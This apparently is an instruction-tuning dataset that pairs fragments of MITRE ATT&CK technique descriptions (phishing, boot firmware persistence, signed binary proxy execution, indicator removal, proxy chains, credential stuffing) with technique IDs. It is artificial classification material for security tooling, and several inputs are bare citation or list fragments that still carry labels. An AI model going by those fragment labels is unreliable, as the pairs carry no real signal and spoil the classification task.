MITRE techniques contained in the text. ### Input: Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also be conducted via third-party services, like social media platforms.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also be conducted via third-party services, like social media platforms. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 Luna Moth)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 Luna Moth) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated.", "output": "T1061", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated. ### Response: T1061."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.", "output": "T1061", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate. ### Response: T1061."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system.", "output": "T1061", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. ### Response: T1061."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", "output": "T1061", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions. ### Response: T1061."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the booting process of a computer, firmware and various startup services are loaded before the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the booting process of a computer, firmware and various startup services are loaded before the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code.", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM files are commonly distributed as part of the Microsoft HTML Help system.", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are commonly distributed as part of the Microsoft HTML Help system. ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018)", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "output": "T1218.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) ### Response: T1218.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed.", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Technet Net Use)", "output": "T1070.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Technet Net Use) ### Response: T1070.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To disguise the source of malicious traffic, adversaries may chain together multiple proxies. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Onion Routing)", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Onion Routing) ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as ICMP may be used as a transport.", "output": "T1090.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as ICMP may be used as a transport. ### Response: T1090.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, management services over commonly used ports are used when stuffing credentials.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, management services over commonly used ports are used when stuffing credentials. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commonly targeted services include the following:\n\n* SSH (22/TCP)\n*", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Telnet (23/TCP)\n* FTP (21/TCP)", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Telnet (23/TCP)\n* FTP (21/TCP) ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n*", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n*", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP) ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to management services, adversaries may \"target single 